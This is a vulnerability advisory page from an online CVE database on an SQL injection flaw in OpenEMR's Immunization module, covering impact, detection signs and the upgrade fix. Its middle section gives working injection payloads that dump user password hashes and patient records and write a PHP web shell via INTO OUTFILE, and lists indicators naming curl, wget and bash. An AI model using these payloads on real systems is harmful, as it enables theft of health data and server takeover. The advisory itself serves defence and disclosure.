
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-23627 is an SQL injection vulnerability in the Immunization module of OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The flaw affects all OpenEMR versions prior to 8.0.0 and was disclosed on February 25, 2026, with a patch released in version 8.0.0. Any authenticated user can exploit this vulnerability to execute arbitrary SQL queries against the underlying database. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 7.4 (High) (GitHub Advisory, Red Hat).
The vulnerability is classified as CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) and exists in the ImmunizationController PHP class at interface/modules/zend_modules/module/Immunization/src/Immunization/Controller/ImmunizationController.php, specifically in the indexAction() (lines 64–85) and reportAction() (lines 205–225) methods. User-supplied patient_id values are split by comma and each segment is directly concatenated into SQL WHERE clauses without parameterization, escaping, or type validation, allowing an attacker to break out of the query structure and inject arbitrary SQL. The attack is network-based, requires only low-privilege authenticated access, and has no user interaction requirement. A secondary injection point also exists in the query_codes parameter, which was fixed in the same patch commit (GitHub Advisory, Patch Commit).
Successful exploitation allows any authenticated user to execute arbitrary SQL queries, resulting in complete database compromise, exfiltration of Protected Health Information (PHI) including patient names, dates of birth, and PIDs, and theft of user credentials (usernames and password hashes). If the database user has FILE privileges, the vulnerability can escalate to remote code execution via INTO OUTFILE to write web shells to the server. Healthcare organizations face significant HIPAA violation exposure and potential regulatory penalties in addition to the technical compromise (GitHub Advisory).
A detailed proof-of-concept (PoC) is publicly documented in the official GitHub Security Advisory, including payloads for UNION-based data exfiltration, schema enumeration, time-based blind injection, and potential RCE via file write. The CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. The EPSS score is approximately 0.217%, and there is no current evidence of active in-the-wild exploitation or CISA KEV catalog listing as of the time of reporting. No specific threat actor attribution has been identified (GitHub Advisory, Red Hat).
POST /interface/modules/zend_modules/module/Immunization/src/Immunization/Controller/ImmunizationController.php.patient_id parameter such as 123') OR 1=1 -- to confirm the injection point by observing all records returned.users table: patient_id=123') UNION SELECT NULL,NULL,NULL,username,password,NULL,NULL,NULL FROM users WHERE 1=1 --patient_id=123') UNION SELECT NULL,NULL,NULL,CONCAT(pid,':',fname,':',lname,':',dob),NULL,NULL,NULL,NULL FROM patient_data WHERE 1=1 --patient_id=123') AND (SELECT SLEEP(5)) -- and observe a ~5-second response delay.patient_id=123') UNION SELECT NULL,NULL,NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php' -- then access the shell via HTTP (GitHub Advisory).UNION SELECT, SLEEP, INTO OUTFILE, information_schema, or single-quote characters in the patient_id parameter; unexpected outbound connections from the web server to external IPs./interface/modules/zend_modules/module/Immunization/ with encoded or plaintext SQL injection payloads in the request body; database error messages or unusual query patterns in application logs.shell.php) appearing in the OpenEMR web root or subdirectories, particularly files containing system(), exec(), or passthru() calls; modification timestamps on web-accessible directories that do not align with legitimate deployments./bin/bash, curl, wget, or python); unexpected database queries involving LOAD_FILE or INTO OUTFILE in MySQL general query logs (GitHub Advisory).The primary remediation is to upgrade OpenEMR to version 8.0.0 or later, which replaces direct string concatenation with parameterized queries and input validation (alphanumeric regex filtering) for both the patient_id and query_codes parameters in the ImmunizationController. The fix was committed in commit cbf4ea4 and also addresses a secondary injection in the query_codes parameter. No official workaround short of upgrading has been provided; as an interim measure, administrators should restrict access to the Immunization module to the minimum necessary users and ensure the database account used by OpenEMR does not have FILE privileges to limit RCE potential (Patch Commit, GitHub Advisory).
The vulnerability was part of a broader disclosure of 38 security vulnerabilities found in OpenEMR, which received coverage from SecurityWeek and The Hacker News, highlighting the systemic security risks in healthcare software used by over 100,000 providers (SecurityWeek, The Hacker News). Social media accounts including TheHackerWire on Bluesky and Mastodon flagged the OpenEMR flaws as notable given the sensitivity of PHI involved. The Aisle security research team was credited with discovering the broader set of vulnerabilities (Aisle Blog).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."